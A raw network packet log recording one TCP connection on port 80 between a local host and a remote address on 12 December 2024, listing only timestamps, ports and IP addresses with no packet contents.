Dec 12, 2024 20:37:04.968622923 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.968756914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.968803883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.969750881 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.969799042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.969969034 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.970029116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.970948935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.971009970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.971091986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.971146107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.971982956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.972050905 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.972155094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.972213030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.973089933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.973160028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.973261118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.973318100 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.974181890 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.974242926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.974431992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.974490881 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.975307941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.975369930 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.975508928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.975565910 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.976473093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.976536036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.976670027 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.976727962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.977560043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.977622032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.977758884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.977818966 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.978746891 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.978811026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.978900909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.978960037 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.979845047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.979901075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.980124950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.980187893 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.981040955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.981096029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.981297016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.981363058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.982053041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.982104063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.982250929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.982300043 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.983243942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.983306885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.983443022 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.983504057 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.984317064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.984376907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.984555006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.984620094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.985424995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.985485077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.985600948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.985658884 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.986692905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.986756086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.986880064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.986937046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.987755060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.987811089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.988033056 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.988089085 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.988948107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.989008904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.989129066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.989186049 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.989990950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.990055084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.990214109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.990271091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.991050005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.991115093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.991370916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.991430044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.992368937 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.992429972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.992561102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.992614985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.043006897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.043206930 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.043241978 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.043477058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.043896914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.043930054 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.043931007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.043941975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.043987989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.044689894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.044989109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.045022964 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.045059919 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.045099020 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.045802116 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.045836926 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.045901060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.046435118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.046497107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.046797991 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.046858072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.047184944 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.047244072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.047544956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.047606945 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.048232079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.048293114 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.048386097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.048445940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.049310923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.049422026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.049508095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.049576044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.050470114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.050527096 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.050710917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.051606894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.051672935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.051760912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.051821947 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.052753925 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.052818060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.053003073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.053064108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.053864002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.053924084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.054069996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.054121017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.054924965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.054992914 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.055119991 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.055176973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.056051016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.056113005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.056246996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.056298971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.057252884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.057311058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.057445049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.057553053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.058352947 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.058408976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.058552027 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.058689117 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.059465885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.059777021 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.059834003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.060553074 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.060614109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.060844898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.060910940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.061698914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.061764002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.061918974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.061986923 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.062800884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.062881947 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.063028097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.063087940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.063941002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.064007044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.064122915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.064188957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.065057039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.065119028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.065227032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.065284967 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.066184044 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.066242933 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.066373110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.066428900 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.067466974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.067569971 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.067636967 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.068456888 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.068516016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.068650007 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.068696976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.069575071 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.069696903 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.069763899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.190325022 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.190362930 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.190553904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.191354990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.191437960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.191462994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.191483974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.312524080 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.312572956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.312747955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.312849045 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.313328981 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.313364983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.313393116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.313426971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.432526112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.432562113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.432595015 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.432890892 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.432892084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.432984114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.433020115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.433056116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.433082104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.434047937 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.434082985 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.434111118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.434150934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.435214996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.435249090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.435276985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.435311079 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.436043024 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.436077118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.436105013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.436110020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.436127901 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.436160088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.437053919 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.437088013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.437113047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.437144995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.438033104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.438066959 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.438122034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.439094067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.439129114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.439152002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.439184904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.440077066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.440113068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.440134048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.440180063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.441102028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.441137075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.441164970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.441169977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.441204071 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.441222906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.442095995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.442131996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.442159891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.442184925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.443101883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.443135977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.443172932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.443243027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.444152117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.444186926 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.444248915 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.445116997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.445149899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.445180893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.445195913 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.445218086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.445260048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.446121931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.446156979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.446187973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.446222067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.447120905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.447155952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.447180033 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.447210073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.448122978 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.448169947 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.448211908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.448211908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.449136972 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.449172974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.449194908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.449233055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.450131893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.450166941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.450192928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.450197935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.450213909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.450258970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.451147079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.451181889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.451203108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.451211929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.451225042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.451272964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.452114105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.452169895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.452644110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.452677965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.452701092 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.452711105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.452733040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.452769041 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.453665972 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.453700066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.453757048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.454668999 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.454703093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.454758883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.455668926 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.455703020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.455725908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.455758095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.456664085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.456697941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.456726074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.456729889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.456742048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.456768036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.457695961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.457730055 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.457751989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.457771063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.459835052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.459899902 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.460691929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.460726976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.460747004 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.460773945 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.461699963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.461734056 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.461751938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.461776972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.462759018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.462794065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.462814093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.462826014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.462838888 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.462872982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.463730097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.463763952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.463785887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.463814020 CET	49738	80	192.168.2.4	80.82.65.70
